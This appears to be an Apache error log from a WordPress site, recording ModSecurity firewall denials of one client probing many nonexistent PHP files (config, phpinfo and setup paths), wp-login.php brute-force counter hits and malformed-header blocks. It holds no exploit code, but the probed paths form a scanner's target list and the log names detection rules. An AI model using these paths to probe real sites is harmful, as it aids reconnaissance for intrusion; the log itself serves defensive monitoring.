[Sat Apr 25 02:49:03.136281 2026] [:error] [pid 29016:tid 29040] [client 40.89.132.50:37570] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/embed.php"] [unique_id "aeu7H0QMwwBEZ8EaFL9ALgAAA0M"]
[Sat Apr 25 02:49:03.795403 2026] [:error] [pid 28786:tid 28812] [client 40.89.132.50:33792] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/embed.php"] [unique_id "aeu7H9mKAVQi4GwijepDAwAAAZc"]
[Sat Apr 25 02:49:04.949444 2026] [:error] [pid 28786:tid 28793] [client 40.89.132.50:64540] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/embed.php"] [unique_id "aeu7INmKAVQi4GwijepDDgAAAYQ"]
[Sat Apr 25 02:49:05.884322 2026] [:error] [pid 42755:tid 42764] [client 40.89.132.50:27021] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/embed.php"] [unique_id "aeu7IdH7__k0j6aa600afgAAAIc"]
[Sat Apr 25 02:49:08.132476 2026] [:error] [pid 42755:tid 42777] [client 40.89.132.50:28241] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/stat.php"] [unique_id "aeu7JNH7__k0j6aa600ahgAAAJQ"]
[Sat Apr 25 02:49:10.038540 2026] [:error] [pid 28786:tid 28802] [client 40.89.132.50:63489] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/stat.php"] [unique_id "aeu7JtmKAVQi4GwijepDRQAAAY0"]
[Sat Apr 25 02:49:10.717146 2026] [:error] [pid 28786:tid 28799] [client 40.89.132.50:27025] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/stat.php"] [unique_id "aeu7JtmKAVQi4GwijepDTgAAAYo"]
[Sat Apr 25 02:49:11.543744 2026] [:error] [pid 29016:tid 29046] [client 40.89.132.50:60237] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/stat.php"] [unique_id "aeu7J0QMwwBEZ8EaFL9AMwAAA0k"]
[Sat Apr 25 02:49:12.769921 2026] [:error] [pid 42755:tid 42777] [client 40.89.132.50:56557] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/setup.php"] [unique_id "aeu7KNH7__k0j6aa600alAAAAJQ"]
[Sat Apr 25 02:49:13.752203 2026] [:error] [pid 42791:tid 42813] [client 40.89.132.50:63490] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/setup.php"] [unique_id "aeu7KbKmN9doraCEWKUFPQAAAdI"]
[Sat Apr 25 02:49:15.090467 2026] [:error] [pid 42852:tid 42863] [client 40.89.132.50:29814] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/setup.php"] [unique_id "aeu7KzMEwxhhak_EhMK5MQAAAkg"]
[Sat Apr 25 02:49:17.233054 2026] [:error] [pid 29016:tid 29059] [client 40.89.132.50:3190] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/setup.php"] [unique_id "aeu7LUQMwwBEZ8EaFL9APwAAA1Y"]
[Sat Apr 25 02:49:19.356663 2026] [:error] [pid 29016:tid 29034] [client 40.89.132.50:35775] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/development.php"] [unique_id "aeu7L0QMwwBEZ8EaFL9ASgAAA0A"]
[Sat Apr 25 02:49:37.381397 2026] [:error] [pid 28786:tid 28796] [client 40.89.132.50:33805] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test_phpinfo2.php"] [unique_id "aeu7QdmKAVQi4GwijepDtAAAAYc"]
[Sat Apr 25 02:49:38.351680 2026] [:error] [pid 29016:tid 29051] [client 40.89.132.50:33815] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test_phpinfo2.php"] [unique_id "aeu7QkQMwwBEZ8EaFL9AcwAAA04"]
[Sat Apr 25 02:49:39.470354 2026] [:error] [pid 42755:tid 42775] [client 40.89.132.50:44665] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test_phpinfo2.php"] [unique_id "aeu7Q9H7__k0j6aa600aowAAAJI"]
[Sat Apr 25 02:49:40.621587 2026] [:error] [pid 28841:tid 28868] [client 40.89.132.50:44625] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test_phpinfo2.php"] [unique_id "aeu7ROtkQQ-2d-KEcF-qMgAAAo0"]
[Sat Apr 25 02:49:41.263065 2026] [:error] [pid 29016:tid 29056] [client 40.89.132.50:28226] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HsFPDcD.php"] [unique_id "aeu7RUQMwwBEZ8EaFL9AeQAAA1M"]
[Sat Apr 25 02:49:42.413464 2026] [:error] [pid 28841:tid 28866] [client 40.89.132.50:29763] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HsFPDcD.php"] [unique_id "aeu7RutkQQ-2d-KEcF-qNgAAAos"]
[Sat Apr 25 02:49:43.742939 2026] [:error] [pid 29016:tid 29059] [client 40.89.132.50:28258] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HsFPDcD.php"] [unique_id "aeu7R0QMwwBEZ8EaFL9AgQAAA1Y"]
[Sat Apr 25 02:49:45.055742 2026] [:error] [pid 29016:tid 29047] [client 40.89.132.50:3851] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HsFPDcD.php"] [unique_id "aeu7SUQMwwBEZ8EaFL9AiAAAA0o"]
[Sat Apr 25 02:49:47.159725 2026] [:error] [pid 42792:tid 42838] [client 40.89.132.50:29822] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.inc.php"] [unique_id "aeu7S9Ni9qR4GtafpfH1ywAAAhA"]
[Sat Apr 25 02:49:51.059057 2026] [:error] [pid 42755:tid 42768] [client 40.89.132.50:29764] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.inc.php"] [unique_id "aeu7T9H7__k0j6aa600arQAAAIs"]
[Sat Apr 25 02:49:51.871270 2026] [:error] [pid 42791:tid 42818] [client 40.89.132.50:30854] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.inc.php"] [unique_id "aeu7T7KmN9doraCEWKUFTQAAAdc"]
[Sat Apr 25 02:49:52.955731 2026] [:error] [pid 42791:tid 42819] [client 40.89.132.50:29772] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.inc.php"] [unique_id "aeu7ULKmN9doraCEWKUFUgAAAdg"]
[Sat Apr 25 02:49:54.898246 2026] [:error] [pid 42852:tid 42863] [client 40.89.132.50:37579] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpversion.php"] [unique_id "aeu7UjMEwxhhak_EhMK5PAAAAkg"]
[Sat Apr 25 02:49:57.187266 2026] [:error] [pid 28841:tid 28868] [client 40.89.132.50:42221] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpversion.php"] [unique_id "aeu7VetkQQ-2d-KEcF-qPgAAAo0"]
[Sat Apr 25 02:49:59.468623 2026] [:error] [pid 42852:tid 42859] [client 40.89.132.50:3179] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpversion.php"] [unique_id "aeu7VzMEwxhhak_EhMK5PgAAAkQ"]
[Sat Apr 25 02:50:00.307541 2026] [:error] [pid 14989:tid 15002] [client 40.89.132.50:44649] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpversion.php"] [unique_id "aeu7WHhRYjsAsZTO4EPLDwAAAAs"]
[Sat Apr 25 02:50:01.854740 2026] [:error] [pid 29016:tid 29049] [client 40.89.132.50:33854] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asus.php"] [unique_id "aeu7WUQMwwBEZ8EaFL9AlAAAA0w"]
[Sat Apr 25 02:50:03.057220 2026] [:error] [pid 28841:tid 28875] [client 40.89.132.50:33813] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asus.php"] [unique_id "aeu7W-tkQQ-2d-KEcF-qRgAAApQ"]
[Sat Apr 25 02:50:05.120337 2026] [:error] [pid 28909:tid 28941] [client 40.89.132.50:64557] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asus.php"] [unique_id "aeu7Xa2Vx90vB2Opu_udSgAAAtg"]
[Sat Apr 25 02:50:07.874313 2026] [:error] [pid 28786:tid 28808] [client 40.89.132.50:63521] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asus.php"] [unique_id "aeu7X9mKAVQi4GwijepD2QAAAZM"]
[Sat Apr 25 02:50:08.982498 2026] [:error] [pid 28786:tid 28810] [client 40.89.132.50:36347] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php_version.php"] [unique_id "aeu7YNmKAVQi4GwijepD3wAAAZU"]
[Sat Apr 25 02:50:09.739804 2026] [:error] [pid 28786:tid 28790] [client 40.89.132.50:58075] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php_version.php"] [unique_id "aeu7YdmKAVQi4GwijepD4QAAAYE"]
[Sat Apr 25 02:50:11.012511 2026] [:error] [pid 28717:tid 28719] [client 40.89.132.50:64567] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php_version.php"] [unique_id "aeu7Y4Wg982VYbVGgm43QwAAAQA"]
[Sat Apr 25 02:50:11.880880 2026] [:error] [pid 42852:tid 42864] [client 40.89.132.50:35746] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php_version.php"] [unique_id "aeu7YzMEwxhhak_EhMK5RwAAAkk"]
[Sat Apr 25 02:50:12.838819 2026] [:error] [pid 28909:tid 28936] [client 40.89.132.50:29605] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abouts.php"] [unique_id "aeu7ZK2Vx90vB2Opu_udWAAAAtM"]
[Sat Apr 25 02:50:14.410827 2026] [:error] [pid 28786:tid 28803] [client 40.89.132.50:63503] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abouts.php"] [unique_id "aeu7ZtmKAVQi4GwijepD5AAAAY4"]
[Sat Apr 25 02:50:16.811232 2026] [:error] [pid 28841:tid 28871] [client 40.89.132.50:47026] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abouts.php"] [unique_id "aeu7aOtkQQ-2d-KEcF-qVAAAApA"]
[Sat Apr 25 02:50:18.498976 2026] [:error] [pid 28909:tid 28929] [client 40.89.132.50:64515] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abouts.php"] [unique_id "aeu7aq2Vx90vB2Opu_udbwAAAs0"]
[Sat Apr 25 02:50:19.223568 2026] [:error] [pid 28909:tid 28916] [client 40.89.132.50:29790] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profmanage.php"] [unique_id "aeu7a62Vx90vB2Opu_uddAAAAsA"]
[Sat Apr 25 02:50:20.528222 2026] [:error] [pid 28841:tid 28863] [client 40.89.132.50:29603] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profmanage.php"] [unique_id "aeu7bOtkQQ-2d-KEcF-qVgAAAog"]
[Sat Apr 25 02:50:23.556130 2026] [:error] [pid 28717:tid 28728] [client 40.89.132.50:63517] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profmanage.php"] [unique_id "aeu7b4Wg982VYbVGgm43TQAAAQk"]
[Sat Apr 25 02:50:25.258175 2026] [:error] [pid 28786:tid 28811] [client 40.89.132.50:56482] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profmanage.php"] [unique_id "aeu7cdmKAVQi4GwijepEAgAAAZY"]
[Sat Apr 25 02:50:28.304010 2026] [:error] [pid 28786:tid 28803] [client 40.89.132.50:28274] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makecvs.php"] [unique_id "aeu7dNmKAVQi4GwijepECwAAAY4"]
[Sat Apr 25 02:50:30.955959 2026] [:error] [pid 28786:tid 28789] [client 40.89.132.50:29625] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makecvs.php"] [unique_id "aeu7dtmKAVQi4GwijepEGAAAAYA"]
[Sat Apr 25 02:50:32.597163 2026] [:error] [pid 28786:tid 28794] [client 40.89.132.50:36350] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makecvs.php"] [unique_id "aeu7eNmKAVQi4GwijepEIgAAAYU"]
[Sat Apr 25 02:50:34.433933 2026] [:error] [pid 28841:tid 28859] [client 40.89.132.50:47036] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makecvs.php"] [unique_id "aeu7eutkQQ-2d-KEcF-qYwAAAoQ"]
[Sat Apr 25 04:37:58.232214 2026] [autoindex:error] [pid 46083:tid 46109] [client 213.136.67.3:51083] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Apr 25 07:35:12.433438 2026] [:error] [pid 44321:tid 44398] [client 198.98.59.125:56304] [client 198.98.59.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.59.125, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aev-MI1b5lV-asWa_Y471QAAAI8"]
[Sat Apr 25 07:35:13.892291 2026] [:error] [pid 44321:tid 44406] [client 198.98.59.125:56304] [client 198.98.59.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.59.125, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aev-MY1b5lV-asWa_Y471gAAAJc"]
[Sat Apr 25 07:41:11.703704 2026] [autoindex:error] [pid 44319:tid 44342] [client 164.68.113.198:60239] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Apr 25 08:43:03.894865 2026] [:error] [pid 44320:tid 44376] [client 49.51.72.236:59740] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aewOFzmFqSpku_dij8iQSwAAAFQ"]
[Sat Apr 25 09:59:11.408100 2026] [:error] [pid 46083:tid 46090] [client 43.155.27.244:51804] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aewf7zxw_Zq74vWdjmmU7wAAAQM"]
